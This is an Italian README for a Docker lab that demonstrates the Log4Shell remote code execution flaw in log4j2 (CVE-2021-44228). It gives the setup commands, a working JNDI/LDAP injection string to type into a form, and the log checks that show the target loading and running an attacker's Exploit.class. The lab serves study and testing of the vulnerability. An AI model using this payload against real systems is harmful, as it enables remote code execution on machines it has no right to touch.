
log4j2 CVE-2021-44228 POC
Questo è un progetto per testare la vulnerabilità di esecuzione remota di codice in log4j2 (CVE-2021-44228).
docker-compose up
Il contenitore log4j impiega un po' di tempo per diventare disponibile dopo l'avvio. Controlla lo stato con il seguente comando.
docker logs -f log4j
Quando viene visualizzato Server started: Listening on port 8081 è tutto pronto.
Verifica la directory /root del contenitore log4j.
docker exec log4j ls /root
Nello stato iniziale, è presente solo la directory .
workAccedi a http://localhost:8081/. È una semplice applicazione che stampa a schermo e nel log il nome inserito nel modulo.
Inserisci nel modulo ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} e invia.
Verifica la directory /root del contenitore log4j.
docker exec log4j ls /root
Il codice preparato dall'attaccante viene eseguito e dovrebbe creare file che prima non esistevano. Poiché il nome del file è basato sul timestamp, ogni attacco aggiunge un nuovo file.
Controllando i log del contenitore ldap, si può vedere che il contenitore log4j ha inviato una richiesta SEARCH.
docker logs ldap
Controllando i log di tomcat del contenitore web, si può vedere che il contenitore log4j ha effettuato l'accesso a Exploit.class (la classe utilizzata per l'attacco).
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*